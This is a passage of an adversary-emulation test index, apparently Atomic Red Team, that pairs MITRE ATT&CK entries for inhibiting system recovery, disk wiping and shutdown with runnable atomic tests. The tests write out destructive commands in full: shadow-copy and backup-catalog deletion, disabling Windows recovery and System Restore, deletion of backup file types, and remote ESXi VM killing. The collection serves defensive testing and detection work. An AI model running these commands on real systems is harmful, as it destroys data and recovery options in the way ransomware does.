        * <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>
        * <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system
        * <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)

        On network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.

        Adversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Yonatan Gotlib, Deep Instinct
      - Austin Clark, @c2defense
      - Pallavi Sivakumaran, WithSecure
      - Joey Lei
      - Harjot Shah Singh
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.

        Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of <code>HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage</code>).

        For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Network
      - IaaS
      - Containers
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Cloud Storage: Cloud Storage Deletion'
      - 'Command: Command Execution'
      - 'Service: Service Metadata'
      - 'Snapshot: Snapshot Deletion'
      - 'File: File Deletion'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a
      created: '2019-04-02T13:54:43.136Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1490
        external_id: T1490
      - source_name: Dark Reading Code Spaces Cyber Attack
        description: " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down
          After Cyber Attack. Retrieved March 21, 2023."
        url: https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack
      - source_name: FireEye WannaCry 2017
        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
          Malware Profile. Retrieved March 15, 2019.
        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
      - source_name: Talos Olympic Destroyer 2018
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
      - source_name: Diskshadow
        description: Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved
          November 21, 2023.
        url: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
      - source_name: Crytox Ransomware
        description: Romain Dumont . (2022, September 21). Technical Analysis of Crytox
          Ransomware. Retrieved November 22, 2023.
        url: https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
      - source_name: Rhino Security Labs AWS S3 Ransomware
        description: 'Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware
          Part 2: Prevention and Defense. Retrieved March 21, 2023.'
        url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/
      - source_name: ZDNet Ransomware Backups 2020
        description: Steve Ranger. (2020, February 27). Ransomware victims thought
          their backups were safe. They were wrong. Retrieved March 21, 2023.
        url: https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/
      - source_name: disable_notif_synology_ransom
        description: TheDFIRReport. (2022, March 1). Disabling notifications on Synology
          servers before ransom. Retrieved October 19, 2022.
        url: https://twitter.com/TheDFIRReport/status/1498657590259109894
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1490
    atomic_tests:
    - name: Windows - Delete Volume Shadow Copies
      auto_generated_guid: 43819286-91a9-4369-90ed-d31fb4da2c01
      description: |
        Deletes Windows Volume Shadow Copies. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon
        execution, if no shadow volumes exist the message "No items found that satisfy the query." will be displayed. If shadow volumes are present, it
        will delete them without printing output to the screen. This is because the /quiet parameter was passed which also suppresses the y/n
        confirmation prompt. Shadow copies can only be created on Windows server or Windows 8.

        https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc788055(v=ws.11)
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Create volume shadow copy of C:\ . This prereq command only
          works on Windows Server or Windows 8.

          '
        prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found
          that satisfy the query.")) { exit 0 } else { exit 1 }

          '
        get_prereq_command: 'vssadmin.exe create shadow /for=c:

          '
      executor:
        command: 'vssadmin.exe delete shadows /all /quiet

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - Delete Volume Shadow Copies via WMI
      auto_generated_guid: 6a3ff8dd-f49c-4272-a658-11c2fe58bd88
      description: 'Deletes Windows Volume Shadow Copies via WMI. This technique is
        used by numerous ransomware families and APT malware such as Olympic Destroyer.

        '
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Create volume shadow copy of C:\ .

          '
        prereq_command: 'if(!(vssadmin.exe list shadows | findstr "No items found
          that satisfy the query.")) { exit 0 } else { exit 1 }

          '
        get_prereq_command: 'wmic shadowcopy call create Volume=''C:\''

          '
      executor:
        command: 'wmic.exe shadowcopy delete

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - wbadmin Delete Windows Backup Catalog
      auto_generated_guid: 263ba6cb-ea2b-41c9-9d4e-b652dadd002c
      description: |
        Deletes Windows Backup Catalog. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer. Upon execution,
        "The backup catalog has been successfully deleted." will be displayed in the PowerShell session.
      supported_platforms:
      - windows
      executor:
        command: 'wbadmin delete catalog -quiet

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - Disable Windows Recovery Console Repair
      auto_generated_guid: cf21060a-80b3-4238-a595-22525de4ab81
      description: |
        Disables repair by the Windows Recovery Console on boot. This technique is used by numerous ransomware families and APT malware such as Olympic Destroyer.
        Upon execution, "The operation completed successfully." will be displayed in the powershell session.
      supported_platforms:
      - windows
      executor:
        command: |
          bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
          bcdedit.exe /set {default} recoveryenabled no
        cleanup_command: |
          bcdedit.exe /set {default} bootstatuspolicy DisplayAllFailures >nul 2>&1
          bcdedit.exe /set {default} recoveryenabled yes >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows - Delete Volume Shadow Copies via WMI with PowerShell
      auto_generated_guid: 39a295ca-7059-4a88-86f6-09556c1211e7
      description: |
        Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject.
        This technique is used by numerous ransomware families such as Sodinokibi/REvil.
        Executes Get-WMIObject. Shadow copies can only be created on Windows server or Windows 8, so upon execution
        there may be no output displayed.
      supported_platforms:
      - windows
      executor:
        command: 'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}

          '
        name: powershell
        elevation_required: true
    - name: Windows - Delete Backup Files
      auto_generated_guid: 6b1dbaf6-cc8a-4ea6-891f-6058569653bf
      description: |
        Deletes backup files in a manner similar to Ryuk ransomware. Upon exection, many "access is denied" messages will appear as the commands try
        to delete files from around the system.
      supported_platforms:
      - windows
      executor:
        command: 'del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.*
          c:\backup*.* c:\*.set c:\*.win c:\*.dsk

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - wbadmin Delete systemstatebackup
      auto_generated_guid: 584331dd-75bc-4c02-9e0b-17f5fd81c748
      description: 'Deletes the Windows systemstatebackup using wbadmin.exe. This
        technique is used by numerous ransomware families. This may only be successful
        on server platforms that have Windows Backup enabled.

        '
      supported_platforms:
      - windows
      executor:
        command: 'wbadmin delete systemstatebackup -keepVersions:0

          '
        name: command_prompt
        elevation_required: true
    - name: Windows - Disable the SR scheduled task
      auto_generated_guid: 1c68c68d-83a4-4981-974e-8993055fa034
      description: 'Use schtasks.exe to disable the System Restore (SR) scheduled
        task

        '
      supported_platforms:
      - windows
      executor:
        command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable

          '
        cleanup_command: 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR"
          /enable >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Disable System Restore Through Registry
      auto_generated_guid: 66e647d1-8741-4e43-b7c1-334760c2047f
      description: "Modify the registry of the currently logged in user using reg.exe
        via cmd console to disable system restore on the computer. \nSee how remcos
        RAT abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details\n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
          reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f
          reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Windows - vssadmin Resize Shadowstorage Volume
      auto_generated_guid: da558b07-69ae-41b9-b9d4-4d98154a7049
      description: Adversaries generally try to Resize Shadowstorage Volume using
        vssadmin.exe to avoid the shadow volumes being made again. This technique
        is typically found used by adversaries during a ransomware event and a precursor
        to deleting the shadowstorage.
      supported_platforms:
      - windows
      executor:
        command: 'vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%'
        name: powershell
        elevation_required: true
    - name: Modify VSS Service Permissions
      auto_generated_guid: a4420f93-5386-4290-b780-f4f66abc7070
      description: |
        This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows:
        - Deny Generic All (GA) permissions to Network Users (NU)
        - Deny GA permissions to Everyone (WD)
        - Deny GA permissions to Anonymous (AN)
        - Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL)
        - Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL
        These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges.
        A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan.
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: 'sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)

          '
        cleanup_command: 'sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

          '
    - name: Disable Time Machine
      auto_generated_guid: ed952f70-91d4-445a-b7ff-30966bfb1aff
      description: 'Disables Time Machine which is Apple''s automated backup utility
        software. Attackers can use this to prevent backups from occurring and hinder
        the victim''s ability to recover from any damage.

        '
      supported_platforms:
      - macos
      executor:
        command: sudo tmutil disable
        cleanup_command: sudo tmutil enable
        name: sh
        elevation_required: true
  T1561.001:
    technique:
      modified: '2024-04-16T13:00:33.303Z'
      name: Disk Content Wipe
      description: |-
        Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

        Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.

        For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Drive: Drive Modification'
      - 'Drive: Drive Access'
      - 'Driver: Driver Load'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac
      created: '2020-02-20T22:06:41.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1561/001
        external_id: T1561.001
      - source_name: DOJ Lazarus Sony 2018
        description: Department of Justice. (2018, September 6). Criminal Complaint
          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
        url: https://www.justice.gov/opa/press-release/file/1092091/download
      - source_name: Novetta Blockbuster Destructive Malware
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
        url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
      - source_name: Novetta Blockbuster
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
        url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
      - source_name: Microsoft Sysmon v6 May 2017
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1529:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: System Shutdown/Reboot
      description: |-
        Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)

        Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.

        Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Austin Clark, @c2defense
      - Hubert Mank
      x_mitre_deprecated: false
      x_mitre_detection: Use process monitoring to monitor the execution and command
        line parameters of binaries involved in shutting down or rebooting systems.
        Windows event logs may also designate activity associated with a shutdown/reboot,
        ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network
        cli on network devices may also be associated with shutdown/reboot, e.g. the
        <code>reload</code> command.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Sensor Health: Host Status'
      - 'Command: Command Execution'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc
      created: '2019-10-04T20:42:28.541Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1529
        external_id: T1529
      - source_name: Talos Nyetya June 2017
        description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises
          Systems Worldwide. Retrieved March 26, 2019.
        url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html
      - source_name: alert_TA18_106A
        description: CISA. (2018, April 20). Russian State-Sponsored Cyber Actors
          Targeting Network Infrastructure Devices. Retrieved February 14, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/TA18-106A
      - source_name: Talos Olympic Destroyer 2018
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
      - source_name: Microsoft Shutdown Oct 2017
        description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4,
          2019.
        url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1529
    atomic_tests:
    - name: Shutdown System - Windows
      auto_generated_guid: ad254fa8-45c0-403b-8c77-e00b3d3e7a64
      description: 'This test shuts down a Windows system.

        '
      supported_platforms:
      - windows
      input_arguments:
        timeout:
          description: Timeout period before shutdown (seconds)
          type: integer
          default: 1
      executor:
        command: 'shutdown /s /t #{timeout}

          '
        name: command_prompt
        elevation_required: true
    - name: Restart System - Windows
      auto_generated_guid: f4648f0d-bf78-483c-bafc-3ec99cd1c302
      description: 'This test restarts a Windows system.

        '
      supported_platforms:
      - windows
      input_arguments:
        timeout:
          description: Timeout period before restart (seconds)
          type: integer
          default: 1
      executor:
        command: 'shutdown /r /t #{timeout}

          '
        name: command_prompt
        elevation_required: true
    - name: Restart System via `shutdown` - FreeBSD/macOS/Linux
      auto_generated_guid: 6326dbc4-444b-4c04-88f4-27e94d0327cb
      description: 'This test restarts a FreeBSD/macOS/Linux system.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        timeout:
          description: Time to restart (can be minutes or specific time)
          type: string
          default: now
      executor:
        command: 'shutdown -r #{timeout}

          '
        name: sh
        elevation_required: true
    - name: Shutdown System via `shutdown` - FreeBSD/macOS/Linux
      auto_generated_guid: 4963a81e-a3ad-4f02-adda-812343b351de
      description: 'This test shuts down a FreeBSD/macOS/Linux system using a halt.

        '
      supported_platforms:
      - linux
      - macos
      input_arguments:
        timeout:
          description: Time to shutdown (can be minutes or specific time)
          type: string
          default: now
      executor:
        command: 'shutdown -h #{timeout}

          '
        name: sh
        elevation_required: true
    - name: Restart System via `reboot` - FreeBSD/macOS/Linux
      auto_generated_guid: 47d0b042-a918-40ab-8cf9-150ffe919027
      description: 'This test restarts a FreeBSD/macOS/Linux system via `reboot`.

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: 'reboot

          '
        name: sh
        elevation_required: true
    - name: Shutdown System via `halt` - FreeBSD/Linux
      auto_generated_guid: 918f70ab-e1ef-49ff-bc57-b27021df84dd
      description: 'This test shuts down a FreeBSD/Linux system using `halt`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'halt -p

          '
        name: sh
        elevation_required: true
    - name: Reboot System via `halt` - FreeBSD
      auto_generated_guid: 7b1cee42-320f-4890-b056-d65c8b884ba5
      description: 'This test restarts a FreeBSD system using `halt`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'halt -r

          '
        name: sh
        elevation_required: true
    - name: Reboot System via `halt` - Linux
      auto_generated_guid: 78f92e14-f1e9-4446-b3e9-f1b921f2459e
      description: 'This test restarts a Linux system using `halt`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'halt --reboot

          '
        name: bash
        elevation_required: true
    - name: Shutdown System via `poweroff` - FreeBSD/Linux
      auto_generated_guid: 73a90cd2-48a2-4ac5-8594-2af35fa909fa
      description: 'This test shuts down a FreeBSD/Linux system using `poweroff`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'poweroff

          '
        name: sh
        elevation_required: true
    - name: Reboot System via `poweroff` - FreeBSD
      auto_generated_guid: 5a282e50-86ff-438d-8cef-8ae01c9e62e1
      description: 'This test restarts a FreeBSD system using `poweroff`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'poweroff -r 3

          '
        name: sh
        elevation_required: true
    - name: Reboot System via `poweroff` - Linux
      auto_generated_guid: 61303105-ff60-427b-999e-efb90b314e41
      description: 'This test restarts a Linux system using `poweroff`.

        '
      supported_platforms:
      - linux
      executor:
        command: 'poweroff --reboot

          '
        name: bash
        elevation_required: true
    - name: Logoff System - Windows
      auto_generated_guid: 3d8c25b5-7ff5-4c9d-b21f-85ebd06654a4
      description: 'This test performs a Windows system logoff as seen in [dcrat backdoor
        capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)

        '
      supported_platforms:
      - windows
      executor:
        command: "shutdown /l \n"
        name: command_prompt
        elevation_required: true
    - name: ESXi - Terminates VMs using pkill
      auto_generated_guid: 987c9b4d-a637-42db-b1cb-e9e242c3991b
      description: |
        In VMWARE ESXi, process names starting with vmx are associated with running VMs. An adversary can use the pkill command to kill all processes with a prefix vmx.
        [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to text with commands
          type: path
          default: PathToAtomicsFolder\T1529\src\esx_pkill.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
        elevation_required: false
    - name: ESXi - Avoslocker enumerates VMs and forcefully kills VMs
      auto_generated_guid: 189f7d6e-9442-4160-9bc3-5e4104d93ece
      description: |
        Avoslocker malware has inbuilt functionality to enumerate the VM instances and uses the esxcli command to forcefully power off them.
        [Reference](https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html)
      supported_platforms:
      - windows
      input_arguments:
        vm_host:
          description: Specify the host name of the ESXi Server
          type: string
          default: atomic.local
        vm_user:
          description: Specify the privilege user account on ESXi Server
          type: string
          default: root
        vm_pass:
          description: Specify the privilege user password on ESXi Server
          type: string
          default: pass
        plink_file:
          description: Path to plink
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe
        cli_script:
          description: Path to text with commands
          type: path
          default: PathToAtomicsFolder\T1529\src\esx_avoslocker_kill_vm.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Check if plink is available.

          '
        prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}"
      executor:
        command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw
          "#{vm_pass}" -m "#{cli_script}"

          '
        name: command_prompt
        elevation_required: false
initial-access:
  T1133:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: External Remote Services
      description: |-
        Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)

        Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.

        Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - ExtraHop
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Rory McCune, Aqua Security
      - Yuval Avrahami, Palo Alto Networks
      - Jay Chen, Palo Alto Networks
      - Brad Geesaman, @bradgeesaman
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Yossi Weizman, Azure Defender Research Team
      - Vishwas Manral, McAfee
      - Daniel Oakley
      - Travis Smith, Tripwire
      - David Tayouri
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.

        When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Linux
      - Containers
      - macOS
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'Logon Session: Logon Session Metadata'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d
      created: '2017-05-31T21:31:44.421Z'
